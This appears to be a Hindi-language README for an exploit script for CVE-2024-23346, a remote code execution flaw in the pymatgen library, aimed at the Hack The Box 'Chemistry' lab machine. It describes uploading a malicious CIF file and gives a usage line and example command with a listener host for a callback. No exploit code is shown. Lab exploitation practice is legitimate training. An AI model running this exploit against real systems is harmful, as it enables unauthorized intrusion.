davidaroca27/cve-2024-23346-exploitयह `pymatgen` (CVE-2024-23346) पायथन लाइब्रेरी में ज्ञात रिमोट कोड निष्पादन (RCE) भेद्यता के लिए एक शोषण है, जो Hack the Box से Chemistry मशीन पर चल रहे लक्ष्य पर होस्ट किए गए `CIF Analyzer` वेबसाइट पर एक दुर्भावनापूर्ण `CIF` फ़ाइल अपलोड करके किया जाता है।
यह pymatgen पायथन लाइब्रेरी में ज्ञात रिमोट कोड एक्सेक्यूशन (RCE) भेद्यता (CVE-2024-23346) का एक शोषण है, जो हैक द बॉक्स के केमिस्ट्री मशीन पर होस्ट किए गए CIF Analyzer वेबसाइट पर एक दुर्भावनापूर्ण CIF फ़ाइल अपलोड करके किया जाता है।
NVD CVE लिंक : https://nvd.nist.gov/vuln/detail/CVE-2024-23346
उपयोग: CVE-2024-23346-exploit.py -t लक्ष्यआईपी -P लक्ष्यपोर्ट -u लॉगिनयूज़रनेम -p लॉगिनपासवर्ड -l tun0ip/lhost
उदाहरण:
python3 CVE-2024-23346-exploit.py -t 10.10.11.38 -P 5000 -u ramon -p ramon -l 10.10.15.000
